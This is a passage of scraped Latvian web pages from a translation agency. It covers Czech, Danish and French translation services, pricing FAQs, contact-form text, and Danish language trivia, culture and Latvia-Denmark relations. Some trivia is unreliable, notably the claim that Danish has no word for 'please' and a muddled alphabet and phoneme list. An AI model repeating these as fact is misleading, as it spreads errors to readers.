Lietuvas diplomātisko attiecību ar Čehiju simtgadei “Čehijas – Baltijas gadsimts: Literatūra”. Izstāde tika veltīta Čehijas un Baltijas valstu literārās tradīcijas ievērojamākajiem vēsturiskajiem posmiem un sniedza ieskatu par to literārajos tulkojumos. Ekspozīcija atklāja dažādos laika posmos tapušos tulkojumus ─ gan Čehoslovākijas pirmās Republikas laikā, laikā no Otrā pasaules kara beigām un līdz 1989. gadam, kā arī pēc Baltijas valstu neatkarības atjaunošanas 1989. gada izdotos tulkojumus. Izstāde arī stāstīja par Baltijas valstu literatūras tulkotājiem un baltistikas studijām, īpaši izceļot Baltijas literātu popularizētāju Čehijā, tulkotāju Radegastu Paroleku. Izstādē Latvijas literatūru pārstāvēja tādi rakstnieki kā Rainis, Rūdolfs Blaumanis, Regīna Ezera, Alberts Bels, Pauls Bankovskis, Inga Ābele, Sandra Kalniete un citi. Šo un citu autoru darbi, kas bija apskatāmi izstādē, ikdienā glabājas Čehijas Nacionālajā bibliotēkā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ČEHU VALODĀ: dažādu dokumentu tulkošana čehu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; čehu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi čehu valodā; individuālie čehu valodas kursi. ČEHU VALODAS KOMBINĀCIJAS: čehu–latviešu; latviešu–čehu; čehu–lietuviešu; lietuviešu–čehu; igauņu–čehu; čehu–igauņu; angļu–čehu; čehu–angļu; krievu–čehu; čehu–krievu; poļu–čehu; čehu–poļu; ukraiņu–čehu; čehu–ukraiņu; čehu–rumāņu; rumāņu–čehu; vācu–čehu; čehu–vācu; spāņu–čehu; čehu–spāņu; franču–čehu; čehu–franču; itāļu–čehu; čehu–itāļu; dāņu–čehu; čehu–dāņu; zviedru–čehu; čehu–zviedru; norvēģu–čehu; čehu–norvēģu; somu–čehu; čehu–somu, přeložit do češtiny u. c. --- > Dažādu dokumentu tulkojumi un mutiskie tulkojumi dāņu valodā. Sazinieties un saņemiet cenas aprēķinu bez maksas tikai 15 minūtēs! - Published: 2017-09-29 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/ - Translation Priorities: Optional TULKOJUMI DĀŅU VALODĀ / TULKOT DĀŅU VALODĀ CIK MAKSĀ TULKOJUMI DĀŅU VALODĀ? Tulkojumu cena no/uz dāņu valodu vienmēr tiek noteikta katram pasūtījumam atsevišķi. Cenu veido vairāki būtiski faktori, kuros var noskaidrot tikai redzot pašu tulkojamo materiālu, savukārt mutisko secīgo vai sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, vieta, ceļošanas izdevumi, dienas nauda, sinhronā tulkojuma tehniskā nodrošinājuma izmaksas u. c. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, atkārtojumi tekstā, teksta grafiskā apstrāde un formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz dāņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Tulkošanas projektu vadītāji pasūtītājam sniedz detalizētu izmaksu informāciju par katru tulkojumu pirms tulkošanas projekta uzsākšanas. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu mūsu tulkošanas biroja e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM DĀŅU VALODĀ: dažādu dokumentu tulkošana dāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; dāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi dāņu valodā; individuālie dāņu valodas kursi; dāņu valodas kursi grupā. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus dāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI DĀŅU VALODĀ / TULKOT DĀŅU VALODĀ CIK MAKSĀ TULKOJUMI DĀŅU VALODĀ? Tulkojumu cena no/uz dāņu valodu vienmēr tiek noteikta katram pasūtījumam atsevišķi. Cenu veido vairāki būtiski faktori, kuros var noskaidrot tikai redzot pašu tulkojamo materiālu, savukārt mutisko secīgo vai sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, vieta, ceļošanas izdevumi, dienas nauda, sinhronā tulkojuma tehniskā nodrošinājuma izmaksas u. c. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, atkārtojumi tekstā, teksta grafiskā apstrāde un formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz dāņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Tulkošanas projektu vadītāji pasūtītājam sniedz detalizētu izmaksu informāciju par katru tulkojumu pirms tulkošanas projekta uzsākšanas. Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu mūsu tulkošanas biroja e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM DĀŅU VALODĀ: dažādu dokumentu tulkošana dāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; dāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi dāņu valodā; individuālie dāņu valodas kursi; dāņu valodas kursi grupā. Meklējiet valodu risinājumus dāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR DĀŅU VALODU UN NE TIKAI Dāņu valoda pieder pie ziemeļģermāņu valodu austrumu skandināvu atzara. Tā no pārējām skandināvu valodām, ar kurām tā ir cieši saistīta, sāka atdalīties ap m. ē. 1000. gadu. Senākie dāņu ieraksti ir rūnu uzraksti, datēti ar m. ē. 250–800 gadu), atrasti Jitlandē un Zviedrijas dienvidos; agrākie manuskripti dāņu valodā ir datēti ar 13. gadsimtu. Dāņu valoda ir viena no skandināvu valodām, kas ir piedzīvojusi vislielākās izmaiņas, veidojoties kā atsevišķa valoda no senskandināvu valodas. Kopā ar citām ziemeļģermāņu valodām dāņu valoda ir senskandināvu valodas pēctece, kas ir kopīgā valoda ģermāņu tautām, kuras dzīvoja Skandināvijā vikingu laikmetā. Dāņu valoda kopā ar zviedru valodu ir cēlusies no austrumnorvēģu dialektu grupas, savukārt vidusnorvēģu valoda (pirms dāņu valodas ietekmes) un norvēģu būkmols tiek klasificētas kā rietumskandināvu valodas kopā ar fēru un islandiešu valodām. Jaunāka klasifikācija, kuras pamatā ir savstarpēja saprotamība atdala mūsdienu runāto dāņu, norvēģu un zviedru valodu kā „kontinentālo skandināvu valodu”, savukārt islandiešu un fēru valoda tiek klasificēta kā „salu skandināvu valoda". Lai gan rakstītās valodas ir savietojamas, runātā dāņu valoda ievērojami atšķiras no norvēģu un zviedru valodas, un līdz ar to savstarpējās saprotamības pakāpe ar abām valodām ir atšķirīga atkarībā no reģiona un runātājiem. Dāņu valoda vārdu krājuma un gramatikas ziņā ir tuvu radniecīga angļu un vācu valodai, bet dāņu, zviedru un abas norvēģu valodas (būkmols un jaunnorvēģu valoda) būtībā uzskatāmas par vienas valodas dialektiem. Dāņu valodai vislīdzīgākais ir Norvēģijā izplatītais būkmols, kas dāņu valodas pratējiem saprotama bez grūtībām, taču ar nelielām grūtībām tiem saprotama arī zviedru valoda. Savukārt islandiešu un fēru valoda dāņu valodas pratējiem bez papildu apguves nav saprotamas. Hanss Kristians Andersens savas pasakas rakstīja dāņu valodā. Dāņu valodā nav vārda “lūdzu”. Tā vietā tiek izmantoti roku žesti, lai izteiktu pieklājību. Bērnu vārdu došanu Dānijā regulē vairākas ministrijas, lai nodrošinātu to, ka pēcnācēji netiek nosaukti dīvainos, vieglprātīgos vai pat muļķīgos vārdos. Dāņu kultūra vairāk ciena vienlīdzību, nevis izcelšanos, tādēļ vārdu izvēle ir diezgan standartizēta. Vecākiem ir iespēja izvēlēties savam bērniņam vārdu no vairāk nekā 7000 apstiprinātiem zēnu un meiteņu vārdiem. Apvienoto Nāciju Organizācija gadā Dāniju ierindoja kā pasaulē laimīgāko valsti. Tā savu pozīciju ir noturējusi līdz pat šim brīdim. Dānijā sikspārņi ir aizsargāti ar likumu, tos nedrīkst nogalināt vai padzīt no mājām. DĀŅU ALFABĒTS Vecākie saglabātie dāņu rakstības paraugi (no dzelzs un vikingu laikmeta) ir rakstīti rūnu alfabētā. Kristietības ieviešana Dānijā ienesa arī latīņu rakstību, un viduslaiku beigās rūnas jau bija lielākoties aizstātas ar latīņu burtiem. Dāņu un norvēģu valodas alfabēts, ko sauc par dāņu-norvēģu alfabētu, ir balstīts uz latīņu alfabētu, un kopš 1917. gada (norvēģu valodā) un 1948. gada (dāņu valodā) sastāv no 29 burtiem — visi 23 latīņu burti, kā arī J, W, U, Æ, Ø un Å. Abos valodas paveidos ir 35 fonēmas: deviņi patskaņi i, e, æ, a, å, o, u, y, ø; seši divskaņi au, ei, øy (senskandināvu), oi, ui (aizguvumos), ai; 20 līdzskaņi b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z. Visi patskaņi var būt gan īsi, gan gari. Burti C, Q, W, X un Z netiek izmantoti vietējo vārdu pareizrakstībā. Dāņu valodā ir lielāka tendence saglabāt aizgūto vārdu oriģinālo rakstību. Jo īpaši c, kas apzīmē s, dāņu valodā gandrīz nekad netiek normalizēts uz s. Daudzi vārdi, kas sākotnēji atvasināti no latīņu saknēm, saglabā burtu c dāņu rakstībā. Rakstībā ievēro fonētisko un etimoloģisko principu un lieto latīņu alfabētu, kas papildināts ar trīs patskaņiem æ, ø, å. Burts å ortogrāfijā ieviests 1948. gadā pareizrakstības reformu rezultātā, aizstājot burtkopu aa. Jaunais burts nāk no zviedru alfabēta, kur tas ir oficiāli izmantots kopš 16. gadsimta. Mūsdienās šī burtkopa saglabājusies personvārdos. Atšķirība starp dāņu-norvēģu un zviedru alfabētu ir tāda, ka zviedru valodā æ vietā tiek izmantots variants ä un ø vietā variants ö, līdzīgi kā vācu valodā. Pašreizējā dāņu un norvēģu valodā burts w tiek atpazīts kā atsevišķs burts no v. CIK SAREŽĢĪTA IR DĀŅU VALODA? Valodnieku domas par dāņu valodas sarežģītību dalās. Vieniem tā liekas salīdzinoši viegla valoda apguves ziņā, it īpaši angliski un vāciski runājošajiem. Citi uzskata, ka dāņu valoda ir pietiekami sarežģīta gramatikas ziņā. Dāņu rakstīto valodu nav grūti saprast un apgūt, grūtāk ir ar sarunvalodu, jo dāņi vārdus izrunā saīsināti, bieži vien pat sapludinot kopā veselu teikumu. Un dāņu valodas rakstība gandrīz vienmēr neatbilst tam, kā vārdi tiek izrunāti. Starp citu, paši dāņi uzskata, ka vienīgā un pēdējā persona pasaulē, kas pareizi runā dāņu valodā ir Dānijas karaliene Margrēte II. Tiek uzskatīts, ja dāņu valodas apguvei katru dienu velta vismaz stundu, tad to var apgūt aptuveni pusotra gada laikā, proti, ir nepieciešamas 575–600 mācību stundas, kas ir aptuveni 23─24 pilna laika studijas nedēļas. KUR UN CIK DAUDZ RUNĀ DĀŅU VALODĀ? Dāņu valodas pratēju skaits visā pasaulē sasniedz 5,6 miljonus cilvēku. Tā ir oficiālā valoda Dānijā, Fēru salās, valodu lieto arī Grenlandē, Islandē un Vācijā. Samērā lielas dāņu valodas runātāju kopienas ir izveidojušās arī Argentīnā, ASV un Kanādā. Grenlandē bērni mācās dāņu valodu skolā, un 56 000 cilvēku, kuri tur dzīvo, plaši izmanto dāņu valodu kā otro valodu. Fēru salās dāņu valodu kā otro valodu runā gandrīz 50 000 cilvēku. Ziemeļvācijā gandrīz 50 000 cilvēku dāņu valoda ir dzimtā valoda. Zviedrijā, kā arī Norvēģijā ir mazākas dāņu valodā runājošās kopienas. Islandē daudziem cilvēkiem ir dāņu valodas pamatzināšanas, kā arī liela daļa iedzīvotāju dāņu valodu pārvalda brīvi. No 350 000 Islandes iedzīvotāju nedaudz vairāk nekā 1000 cilvēku dāņu valoda ir dzimtā. 19. gadsimtā liels skaits dāņu emigrēja uz ārvalstīm, meklējot jaunas darba iespējas un panākumus. Daudzi ārvalstīs apmetās uz dzīvi un izveidoja jaunas kopienas, lai nekad neatgrieztos. Mūsdienās aptuveni 1,4 miljoniem amerikāņu ir dāņu saknes. Tas pats attiecas uz 170 000 kanādiešu, 140 000 brazīliešu, 100 000 austrāliešu un 50 000 argentīniešu. Tomēr gandrīz visiem dāņu migrantiem kopīgs ir tas, ka viņi ir ļoti asimilējušies vietējā kultūrā, un saikne ar dāņu kultūru un valodu ir aizmirsta. Mūsdienās no 1,4 miljoniem amerikāņu, kuru senči ir dāņi, mazāk nekā 30 000 runā dāņu valodā. Tas ir aptuveni 2%. DĀŅU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, sarežģītiem tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Nodrošinām arī tekstu dāņu valodā korektūru un stilistisko uzlabošanu. Valodas speciālisti var sniegt informāciju par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Visi Skrivanek tulkotāji, tulki, korektori un redaktori ir brīdināti par atbildību darbā ar konfidenciālu saturu un parakstījuši stingrus konfidencialitātes līgumus, tādēļ jūs droši varat uzticēt mums savus tulkojamos oriģināltekstus. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz dāņu valodu – digitālā mārketinga, e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu adaptācijas, tiesību aktu, nolīgumu, uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo un sinhrono tulkošanu lietišķās vai cita veida sarunās, konferencēs un mazāk oficiālos pasākumos. Nodrošinām mutisko secīgo un sinhrono tulkošanu arī tiešsaistē Zoom vai jebkurā citā platformā. Fiziskām personām piedāvājam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. DĀŅU VALODA DARĪJUMU PASAULĒ Dānijā biznesa komunikācija ir tikpat svarīga kā jebkurā citā pasaules daļā. Globalizācijas laikmetā, ja uzņēmums darbojas dažādās pasaules valstīs un tajā strādā cilvēki no visas pasaules, ir svarīgi zināt par dažādu valstu biznesa komunikācijas kultūru. Laba komunikācija var būt tikai priekšrocība un nest labumu uzņēmumam. KĀDA IR BIZNESA KOMUNIKĀCIJA DĀNIJĀ? Biznesa komunikācija ar cilvēkiem no Dānijas parasti ir neformāla, un to raksturo humors un laba noskaņa, bet tajā pašā laikā dāņiem ir ierasts ievērot zināmu distanci. Reti dzirdēsiet, ka kāds reklamē sevi vai savas prasmes. Gluži pretēji, cilvēki mēdz nepietiekami novērtēt savu lomu un kvalifikāciju. Lietišķā komunikācija Dānijā sanāksmju laikā ir vienkārša, un dāņi parasti ir konservatīvi un efektīvi. Dāņu biznesa cilvēki sākumā var šķist formāli, taču drīz vien viņi, visticamāk, parādīs savu neformālo pusi. Lielākā daļa dāņu ar atvērtu sirdi runā ar kolēģiem par savu privāto dzīvi. Viņi runā par savu ģimeni un to, ko dara brīvdienās un brīvajā laikā. Dāņu, zviedru un norvēģu valodas ir ļoti līdzīgas, un šīs trīs valodas saprot katrs valsts iedzīvotājs. Angļu valodu pamatskolā māca kā obligātu valodu, un to runā un saprot aptuveni 80% iedzīvotāju. Angļu valoda tiek izmantota arī kā korporatīvā valoda daudzos lielākos uzņēmumos. Var pat teikt, ka angļu valoda dažiem ir otrā valoda. Praktiski visiem Dānijas uzņēmējiem ir labas angļu valodas zināšanas, un tulki ir nepieciešami reti. E-pasti nereti jau no sākuma tiek rakstīti angļu valodā, lai varētu iesaistīt sarakstē kolēģus vai partnerus citās valstīs. Dānijā biznesa vidē saziņai principā tiek izmantota angļu valoda. Tādēļ dāņu valoda nespēlē lielu lomu kā biznesa valoda pasaulē vai pat valsts robežās. Bet jebkurā gadījumā, ja sasveicināsieties ar savu dāņu darījumu partneri viņa dzimtajā valodā, tā būs laba cieņas un uzmanības izrādīšana. Dānija ir atzīta par vienu no pasaules labākajām uzņēmējdarbības vietām. Dānija ir mājvieta pasaules līmeņa uzņēmumiem vairākās nozarēs, īpašu uzmanību pievēršot atjaunojamās enerģijas nozarei. Vairāk nekā 40 gadu ilgā vērienīgā enerģētikas politika ir palīdzējusi Dānijai izvirzīties „CLEANTECH" priekšgalā, un valsts mērķis ir līdz 2050. gadam kļūt pilnībā neatkarīgai no fosilā kurināmā izmantošanas. Pārtikas inovācijas ir vēl viena Dānijas nozare ar ietekmi gan valsts, gan starptautiskā mērogā. Dānijas pārtikas nozarē tiek ievēroti sevišķi augsti kvalitātes standarti un ievērota priekšzīmīga higiēna un drošība. Nav brīnums, ka dažus no pasaules labākajiem šefpavāriem un restorāniem var atrast tieši Dānijā. Tā ir sestā lielākā kuģniecības valsts pasaulē pēc ekspluatētās tonnāžas apjoma. Dānijas uzņēmums Maersk Line ir pasaulē lielākais konteineru pārvadājumu operators. Tā kā biznesa un darba iespējas Dānijā ir atvērtas visai pasaulei. KĀDA IR BIZNESA KOMUNIKĀCIJA DĀNIJĀ? Latvijas un Dānijas diplomātiskās attiecības tika nodibinātas 1921. gada 7. februārī. Dānija vienmēr bijusi viens no svarīgākajiem Latvijas ekonomiskās sadarbības partneriem. Sadarbība ar Dāniju izglītības jomā tiek īstenota galvenokārt ar Eiropas Savienības mūžizglītības programmu, Ziemeļvalstu un Baltijas valstu izglītības programmu Nordplus, kā arī atsevišķu izglītības un zinātnes institūciju savstarpējo sadarbības līgumiem. Sadarbība kultūras jomā ar Dāniju norit tiešā apmaiņā ar radošajām personām, kolektīviem un studentiem. Organizāciju līmenī tā notiek uz līgumu pamata starp tiešajiem partneriem. Dānijas Kultūras institūtam Latvijā ir būtiska loma abu valstu sadarbības veicināšanā kultūrā. Dānijai ir bijusi nozīmīga loma Latvijas bruņoto spēku attīstībā, un tā ir bijusi viena no vadošajām Ziemeļvalstīm politiskā atbalsta un praktiskās palīdzības sniegšanā Latvijai. Sadarbība ar Dāniju notikusi vairāku projektu ietvaros: aizsardzības plānošanas, personāla vadības un apmācības, NATO drošības investīciju programmas, inženieru apmācības, militārās medicīnas, vides aizsardzības, glābšanas un meklēšanas u. c. jomās. Kopā ar Dānijas karavīriem Latvijas karavīri ir dienējuši Bosnijā un Hercegovinā, un Kosovā KFOR misijā. Gatavojoties dalībai misijās, Latvijas karavīri ir piedalījušies pirms misijas apmācībās Dānijā. Rīgā atrodas Dānijas vēstniecība, kas sniedz palīdzību Dānijas pilsoņiem, rezidentiem, kuri atrodas Latvijā, kā arī ārvalstu rezidentiem, kuri vēlas doties uz Dāniju. Tāpat vēstniecība seko politiskajai un ekonomiskajai attīstībai Latvijā, veicina abu valstu sadarbības gan militārajā, aizsardzības, gan kultūras un izglītības jomā. Vēstniecība palīdz popularizēt Dānijas nostāju, vērtības, spēka pozīcijas un kultūru ar vispārēju informācijas izplatīšanu Latvijas sabiedrībā, sabiedriskajos un sociālajos medijos. Informācijas aktivitātēs tiek meklēts arī kopīgs viedoklis starp Latviju un Dāniju par dažādām tēmām. Vēstniecība organizē Dānijas kultūras pasākumus Latvijā, kuros piedalās gan Dānijas, gan Latvijas pārstāvji, un strādā pie tā, lai veicinātu Dānijas dalību kultūras pasākumos Latvijā: https://letland. um. dk/lv. Ziemeļvalstu vēstniekiem ir arī pastāvīga sleja Latvijas Avīzē, kas ir viens no lielākajiem Latvijas laikrakstiem. Šeit vēstnieks raksta par aktuālām tēmām, izklāstot aktuālas tēmas no Dānijas skatupunkta. Dāņu valodu Latvijā apgūt piedāvā vairākas valodu skolas, tostarp arī Skrivanek Valodu mācību centrs, gan individuālajās, gan grupu nodarbībās visu vecumu un zināšanu līmeņa grupām. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM DĀŅU VALODĀ: dažādu dokumentu tulkošana dāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; dāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi dāņu valodā; individuālie dāņu valodas kursi; dāņu valodas kursi grupā. DĀŅU VALODAS KOMBINĀCIJAS: dāņu–latviešu; latviešu–dāņu; dāņu–lietuviešu; lietuviešu–dāņu; igauņu–dāņu; dāņu–igauņu; angļu–dāņu; dāņu–angļu; krievu–dāņu; dāņu–krievu; poļu–dāņu; dāņu–poļu; ukraiņu–dāņu; dāņu–ukraiņu; čehu–dāņu; dāņu–čehu; vācu–dāņu; dāņu–vācu; spāņu–dāņu; dāņu–spāņu; franču–dāņu; dāņu–franču; itāļu–dāņu; dāņu–itāļu; dāņu–rumāņu; rumāņu–dāņu; zviedru–dāņu; dāņu–zviedru; norvēģu–dāņu; dāņu–norvēģu; somu–dāņu; dāņu–somu u. c. --- > Dažādu dokumentu tulkojumi un mutiskie tulkojumi franču valodā, franču valodas kursi u.c. Saņemiet bezmaksas cenas aprēķinu 30 minūtēs! - Published: 2017-09-29 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/ - Translation Priorities: Optional TULKOJUMI FRANČU VALODĀ / TULKOT FRANČU VALODĀ CIK MAKSĀ TULKOJUMI FRANČU VALODĀ? Tulkojumu cena no un uz franču valodu tiek rēķināta katram pasūtījumam atsevišķi. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz franču valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM FRANČU VALODĀ: dažādu dokumentu tulkošana franču valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; franču valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi franču valodā; individuālie franču valodas kursi; franču valodas kursi grupā. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus franču valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI FRANČU VALODĀ / TULKOT FRANČU VALODĀ CIK MAKSĀ TULKOJUMI FRANČU VALODĀ? Tulkojumu cena no un uz franču valodu tiek rēķināta katram pasūtījumam atsevišķi. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz franču valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM FRANČU VALODĀ: dažādu dokumentu tulkošana franču valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; franču valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi franču valodā; individuālie franču valodas kursi; franču valodas kursi grupā. Meklējiet valodu risinājumus franču valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un 